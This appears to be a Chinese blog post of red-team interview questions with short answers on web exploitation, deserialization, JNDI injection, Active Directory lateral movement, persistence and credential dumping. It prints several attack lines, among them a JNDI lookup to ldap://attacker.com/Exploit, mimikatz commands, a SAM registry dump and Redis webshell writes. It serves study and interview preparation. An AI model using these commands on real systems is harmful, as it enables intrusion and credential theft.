2025年渗透测试面试题总结-匿名[校招]红队攻防工程师(题目+回答)

article/2025/7/28 1:17:38

安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

匿名[校招]红队攻防工程师

1. 00截断的原理

2. Java回显通用思路及JDK差异

3. Redis利用姿势及环境差异

4. Shiro限制Payload长度的绕过

5. Fastjson回显实现

6. 文件上传白名单绕过

7. MVC代码审计流程

8. DOM型XSS

9. SSRF利用点

10. SQL注入报错函数及空表利用

11. JNDI注入原理

12. 泛微OA Xstream回显差异

13. 端口389与域控判断

14. 横向移动技术(工作组/域)

15. Windows认证协议与哈希传递

16. 权限维持技术

17. 横向移动姿势及原理

18. 凭证获取与对抗

19. 白银票据与黄金票据

20. 对抗杀软的后门用户

21. Chrome密码Dump原理与工具实现

匿名[校招]红队攻防工程师

1. 00截断的原理
2. Java回显的通用思路以及不同版本jdk的差异
3. Java 回显
4. Redis 利用姿势及环境差异
5. shiro 限制payload长度
6. fastjson回显
7. 文件上传白名单利用
8. mvc代码审计流程
9. dom 型 xss
10. ssrf 利用点
11. sql注入的报错函数
12. sql注入点,空表如何利用
13. jndi注入及原理
14. 泛微oa xstream的回显(jdk1.8和1.7的差异)
15. 端口 389
16. 判断域控的几种方式
17. 工作组横向
18. 域内横向
19. Windows认证协议
20. 判断是否在域内
21. hash传递原理
22. 权限维持
23. 横向移动的各种姿势及原理
24. 凭证获取(姿势/常用/原理/对抗)
25. 白银票据黄金票据
26. 如何对抗杀软加后门用户
27. Chrome dump密码的原理,如果让你写个工具,思路是什么(或者别人工具的实现原理). 

1. 00截断的原理

  • 核心机制:利用空字符(%00\x00)截断后续字符串,绕过文件扩展名检查。
  • 触发条件:PHP版本≤5.3且magic_quotes_gpc=Off,系统未过滤空字符。
  • 实例场景:上传文件名shell.php%00.jpg ,后端校验.jpg,但保存为.php

2. Java回显通用思路及JDK差异

  1. 异常回显:通过异常堆栈信息泄露敏感数据(如e.printStackTrace() 直接输出至页面)。
  2. 反射注入
    • Request对象提取HttpServletResponse,写入数据(如response.getWriter().write("result") )。
    • 利用ThreadLocal获取当前线程的上下文对象。
  3. 内存马动态注册
    • 注入Filter/Servlet,劫持请求处理逻辑(如FilterChain插入恶意Filter)。
  • JDK版本差异
    • JDK ≤8u191:支持远程加载恶意类(如JNDI注入)。
    • JDK >8u191:限制远程类加载,需本地利用链(如TemplatesImpl结合字节码注入)。

3. Redis利用姿势及环境差异

  • 常见攻击手法
    1. 写SSH公钥:通过config set dir切换目录,写入authorized_keys
    2. Webshell写入:需Web目录可写权限(如config set dir /var/www/html)。
    3. 主从复制RCE:恶意主节点同步恶意模块(利用MODULE LOAD加载.so文件)。
  • 环境差异影响
    • Linux:Redis以root运行时可直接覆盖敏感文件(如/etc/crontab)。
    • Windows:路径需转义(C:\\web\\shell.php ),且依赖写权限和Web服务。

4. Shiro限制Payload长度的绕过

  1. 精简Payload
    • 选择更短的反序列化链(如CommonsBeanutils1长度小于CommonsCollections2)。
    • 使用AES-GCM加密模式减少填充长度(默认CBC填充可能增加30%长度)。
  2. 分块传输
    • 利用Shiro的Cookie自动拼接特性,拆分Payload为多个Cookie段。
  3. 二次反序列化
    • 构造嵌套反序列化结构,外层Payload触发内层恶意对象加载。

5. Fastjson回显实现

  1. JdbcRowSetImpl链
    • 触发JNDI注入,LDAP服务返回恶意类,在类初始化时通过反射写入回显结果。
  2. TemplatesImpl链
    • 直接加载字节码,通过_outputProperties触发恶意逻辑,结合ThreadLocal获取Response对象。
  3. 自定义恶意类
    • 构造类的toString()getter方法,在反序列化时自动触发数据输出。

6. 文件上传白名单绕过

  1. 解析漏洞利用
    • Apacheshell.php.xxx 优先解析为PHP(配置AddHandler问题)。
    • IIS:分号截断(shell.asp;.jpg )或畸形文件名。
  2. .htaccess重写规则
    • 上传.htaccess文件设置AddType application/x-httpd-php .xxx
  3. 大小写/空格绕过
    • 后缀名大小写混淆(.Php)或末尾加空格(shell.php )。

7. MVC代码审计流程

  1. 入口点定位
    • 分析路由注解(如@RequestMapping)及参数绑定(@RequestParam)。
  2. 危险函数追踪
    • SQL拼接(StringBuffer)、表达式解析(SPEL/OGNL)、反序列化(ObjectInputStream)。
  3. 权限校验逻辑
    • 检查InterceptorFilter是否遗漏权限控制(如越权访问)。
  4. 历史漏洞复现
    • 针对框架版本(如Spring Security OAuth2的开放重定向漏洞)。

8. DOM型XSS

  1. 触发点分析
    • 前端直接操作DOM(如document.write(location.hash.substr(1)) )。
  2. 常见漏洞代码
    • eval()动态执行、innerHTML拼接用户输入、location参数未过滤。
  3. 防御策略
    • 使用textContent替代innerHTML,输入内容编码(如encodeURIComponent)。

9. SSRF利用点

  1. 协议攻击
    • file协议:读取本地文件(file:///etc/passwd)。
    • gopher协议:构造HTTP/Redis协议攻击内网服务(如Redis未授权访问)。
  2. 内网服务探测
    • 利用响应时间差异判断端口开放状态(如http://192.168.1.1:3306延迟高则MySQL存活)。
  3. 绕过限制
    • DNS重绑定、IPv6地址、短网址跳转。

10. SQL注入报错函数及空表利用

  1. 报错函数示例
    • MySQLextractvalue(1,concat(0x7e,version()))
    • PostgreSQL1/(select case when version() ~ '^10' then 0 else 1 end)
  2. 空表盲注技巧
    • 布尔盲注:构造条件语句(AND EXISTS(SELECT 1 FROM dual))。
    • 时间盲注IF((SELECT COUNT(*) FROM table)=0, SLEEP(5), 0)

11. JNDI注入原理

  1. 攻击流程
    • 控制JNDI查找地址(如ldap://attacker.com/Exploit ),触发目标加载恶意类。
  2. 版本限制
    • JDK ≤8u191:允许远程类加载,直接RCE。
    • JDK >8u191:仅支持本地类或指定工厂类(需结合其他漏洞链)。
  3. 防御绕过
    • 利用本地Classpath中的已知类(如org.apache.naming.factory.BeanFactory )。

12. 泛微OA Xstream回显差异

  • JDK 1.7
    • 直接利用TemplatesImpl加载字节码,通过getOutputProperties()触发代码执行。
  • JDK 1.8
    • TemplatesImpl类加载限制,需结合其他链(如SpringAbstractBeanFactoryPointcutAdvisor)。

13. 端口389与域控判断

  1. 端口389用途
    • LDAP服务默认端口,用于域用户认证、组策略同步。
  2. 域控识别方法
    • DNS查询:nslookup -type=SRV _ldap._tcp.dc._msdcs.< 域名>
    • 命令行:netdom query fsmonet group "Domain Controllers" /domain

14. 横向移动技术(工作组/域)

  1. 工作组横向
    • SMB爆破:使用psexeccrackmapexec执行命令。
    • WMI远程执行wmic /node:IP process call create "cmd.exe"
  2. 域内横向
    • 票据传递(PtT):导出票据(mimikatz sekurlsa::tickets /export)并重用。
    • DCOM组件:利用MMC20.Application远程执行命令。

15. Windows认证协议与哈希传递

  1. 协议对比
    • NTLM:基于挑战-响应,易受Pass-the-Hash攻击。
    • Kerberos:依赖票据(黄金票据伪造TGT,白银票据伪造服务票据)。
  2. 哈希传递原理
    • 直接使用NTLM哈希生成认证令牌,绕过明文密码需求(sekurlsa::pth /user:admin /ntlm:HASH)。

16. 权限维持技术

  1. 持久化方法
    • 计划任务schtasks /create /sc minute /tn "Task" /tr "恶意命令"
    • 服务创建sc create Service binPath= "恶意路径" start= auto
  2. 注册表启动项
    • 写入HKLM\Software\Microsoft\Windows\CurrentVersion\Run

17. 横向移动姿势及原理

  1. WMI远程执行
    • 通过Win32_Process类创建进程(Invoke-WmiMethod)。
  2. PsExec工具
    • 利用SMB协议上传服务并执行命令(需管理员权限)。
  3. Pass-the-Ticket
    • 重用Kerberos票据访问受限资源(如域控的HOST服务)。

18. 凭证获取与对抗

  1. 常见获取方式
    • LSASS内存提取mimikatz sekurlsa::logonpasswords
    • 注册表转储SAMreg save HKLM\SAM sam.save
  2. 对抗手段
    • 启用Credential Guard、限制调试权限(SeDebugPrivilege)。

19. 白银票据与黄金票据

  1. 黄金票据(Golden Ticket)
    • 伪造TGT,需域控的krbtgt账户的NTLM哈希,允许访问任意服务。
  2. 白银票据(Silver Ticket)
    • 伪造服务票据,需服务账户的NTLM哈希,仅限特定服务(如CIFS)。

20. 对抗杀软的后门用户

  1. 隐蔽创建用户
    • 使用net user命令创建用户并加入隐藏组(如net localgroup "Users"隐藏)。
  2. 注册表隐藏
    • 修改HKLM\SAM\SAM\Domains\Account\Users中的用户键值属性。

21. Chrome密码Dump原理与工具实现

  1. 文件定位
    • 用户数据目录:%LocalAppData%\Google\Chrome\User Data\Default\Login Data
  2. 解密流程
    • 调用Windows DPAPI解密Master Key(CryptUnprotectData API)。
    • 解密SQLite数据库中的密码字段(AES-256-GCM算法)。
  3. 工具设计思路
    • 读取Login Data文件,提取加密密码。
    • 调用系统API解密密钥,最终输出明文密码。

http://www.hkcw.cn/article/ddZPiHGAhF.shtml

相关文章

高级数据结构与算法期末考试速成记录

高级数据结构与算法期末考试速成记录 0.分治中的一些知识点 Master公式&#xff08;又称主定理&#xff0c;Master Theorem&#xff09;是一种用于快速求解分治递归算法时间复杂度 的数学工具&#xff0c;适用于递归式形如以下形式的算法&#xff1a; T ( n ) a T ( n b ) …

Telerik生态整合:Kendo UI for Angular组件在WinForms应用中的深度嵌入(一)

Telerik DevCraft包含一个完整的产品栈来构建您下一个Web、移动和桌面应用程序。它使用HTML和每个.NET平台的UI库&#xff0c;加快开发速度。Telerik DevCraft提供完整的工具箱&#xff0c;用于构建现代和面向未来的业务应用程序&#xff0c;目前提供UI for ASP.NET MVC、Kendo…

深入浅出程序设计竞赛(洛谷基础篇) 第十四章 搜索

文章目录 前言例14-1 四阶数独前置知识&#xff1a; 例14-2八皇后例14-3 kkksc03考前临时抱佛脚例14-4 马的遍历前置知识 例14-5 奇怪的电梯例14-6 Meteor Shower S习题14-1.1 选数例14-1 四阶数独前置知识&#xff1a; 例14-2八皇后例14-3 kkksc03考前临时抱佛脚例14-4 马的遍…

图书管理系统的设计与实现

湖南软件职业技术大学 本科毕业设计(论文) 设计(论文)题目 图书管理系统的设计与实现 学生姓名 学生学号 所在学院 专业班级 毕业设计(论文)真实性承诺及声明 学生对毕业设计(论文)真实性承诺 本人郑重声明:所提交的毕业设计(论文)作品是本人在指导教师的指导下,独…

【Java基础-环境搭建-创建项目】IntelliJ IDEA创建Java项目的详细步骤

在Java开发的世界里&#xff0c;选择一个强大的集成开发环境&#xff08;IDE&#xff09;是迈向高效编程的第一步。而IntelliJ IDEA无疑是Java开发者中最受欢迎的选择之一。它以其强大的功能、智能的代码辅助和简洁的用户界面&#xff0c;帮助无数开发者快速构建和部署Java项目…

医疗IT系统绝缘监测及故障定位,绝缘监测技术在医院关键区域的应用

医院作为重要的公共设施&#xff0c;其供配电系统的可靠性和安全性直接关系到患者的生命安全。为确保医院电力系统的稳定&#xff0c;GB/T 16895.24《建筑物电气装置》对医疗场所按用电的安全等级进行了细致的分类&#xff0c;并针对不同的类别推荐相应的电力系统配置。其中&am…

进程间通信及管道(理论)

目录 进程间通信介绍 进程间通信目的 进程间通信发展 进程间通信分类 管道 什么是管道 匿名管道 实例代码 用fork来共享管道原理 管道读写规则 管道特点 命名管道 创建一个命名管道 匿名管道与命名管道的区别 命名管道的打开规则 进程间通信介绍 进程间通信目的 数据传输&#…

如何安全地清洁 Windows10/11PC上的SSD驱动器

“我在 Windows 10 电脑上安装了新的 SSD&#xff0c;我要删除旧的 SSD 驱动器。但我不知道如何清洁电脑上的 SSD 驱动器。我想清除其中的所有内容。” 那么&#xff0c;您想知道如何在 Windows 10/11 PC 上清洁 SSD 驱动器吗&#xff1f;也许您只是想释放宝贵的空间并提高性能…

换ip是换网络的意思吗?怎么换ip地址

在数字化时代&#xff0c;IP地址作为我们在网络世界的"身份证"&#xff0c;其重要性不言而喻。许多人常将"换IP"与"换网络"混为一谈&#xff0c;实际上两者虽有联系却存在本质区别。本文将澄清这一概念误区&#xff0c;并详细介绍多种更换IP地址…

智能化能源管理系统在“双碳”背景下的新价值

安科瑞刘鸿鹏 摘要 2022年已并网的储能项目中,用户侧并网占比为8.36%,其中工商业储能规模为占比为98.6%。随着各省市的峰 谷价差拉大,部分省市可实现两充两放,工商业储能会更 加具有经济性,加上限电政策的影响,工商业储能将在 2023-2025年逐渐发展成主要的增长点&#xff…

带sdf 的post sim 小结

1.SDF文件主要内容 Delays&#xff08;module&#xff0c;device&#xff0c;interconnect&#xff0c;port&#xff09; Timing checks&#xff08;setup&#xff0c;hold&#xff0c;setuphold&#xff0c;recovery&#xff0c;removal&#xff0c;recrem&#xff09; Timing…

《JavaScript高级程序设计》读书笔记 34 - 代理基础

感谢点赞、关注和收藏! 上一篇类,这一篇进入书的第 9 章 - 代理与反射,首先是代理基础。 代理基础 代理是目标对象的抽象。从很多方面看,代理类似 C++指针,因为它可以用作目标对象的替身,但又完全独立于目标对象。目标对象既可以直接被操作,也可以通过代理来操…

《计算机仿真》——引领计算机仿真领域的学术前沿

期刊名称&#xff1a;计算机仿真 (Computer Simulation) 主办单位&#xff1a;中国航天科工集团公司第十七研究所 出版周期&#xff1a;月刊 出版地&#xff1a;北京市 语种&#xff1a;中文 开本&#xff1a;大16开 ISSN&#xff1a;1006-9348 CN&#xff1a;11-3724/TP 邮发代…

java-文件IO

文件IO 操作系统有一个专门的模块-文件系统&#xff0c;来管理文件。并提供了 api 供我们使用。 文件系统 使用 N叉树 来组织文件。 操作系统使用 “路径” 来描述文件的位置。路径的表示又分为 绝对路径 和 相对路径 绝对路径 &#xff1a;从树的的根节点&#xff08;Wind…

数据基座觉醒!大数据+AI如何重构企业智能决策金字塔(上)

1. 数据金字塔的千年进化史 1.1 从地窖到云端的存储革命 某家电企业在2010年遭遇库存危机时&#xff0c;市场部门需要三天才能从纸质单据中统计出全国滞销型号。当他们的数据工程师在2023年轻声唤醒对话式分析机器人&#xff0c;同样的需求响应时间缩短至9秒。 数据分层架构的…

【MySQL】事务及隔离性

目录 一、什么是事务 &#xff08;一&#xff09;概念 &#xff08;二&#xff09;事务的四大属性 &#xff08;三&#xff09;事务的作用 &#xff08;四&#xff09;事务的提交方式 二、事务的启动、回滚与提交 &#xff08;一&#xff09;事务的启动、回滚与提交 &am…

秒出PPT正式改名秒出AI,开启AI赋能新体验!

在现代办公环境中&#xff0c;借助智能工具提升工作效率已经成为趋势。秒出AI作为一款集AI PPT制作、动画、巨幕、视频、设计以及智能简历功能于一体的综合办公平台&#xff0c;为用户提供一站式智能内容生成解决方案&#xff0c;极大地简化了内容创作流程。 1. AI驱动的一键P…

白皮精读:214页数据安全治理白皮书6.0【附全文阅读】

《数据安全治理白皮书6.0》由中关村网络安全与信息化产业联盟数据安全治理专业委员会编著&#xff0c;北京安华金和科技有限公司参与。数据安全治理在数字化时代至关重要&#xff0c;关乎组织的生存与发展、个人信息权益保障以及国家的安全与稳定。这份白皮书围绕数据安全治理展…

工商业储能站能量管理系统

Acrel-2000MG 储能能量管理系统是安科瑞专门针对工商业储能 电站研制的本地化能量管理系统&#xff0c;可实现了储能电站的数据采集、数 据处理、数据存储、数据查询与分析、可视化监控、报警管理、统计 报表、策略管理、历史曲线等功能。其中策略管理&#xff0c;支持多种控制…

【JUC】深入解析 JUC 并发编程:单例模式、懒汉模式、饿汉模式、及懒汉模式线程安全问题解析和使用 volatile 解决内存可见性问题与指令重排序问题

单例模式 单例模式确保某个类在程序中只有一个实例&#xff0c;避免多次创建实例&#xff08;禁止多次使用new&#xff09;。 要实现这一点&#xff0c;关键在于将类的所有构造方法声明为private。 这样&#xff0c;在类外部无法直接访问构造方法&#xff0c;new操作会在编译…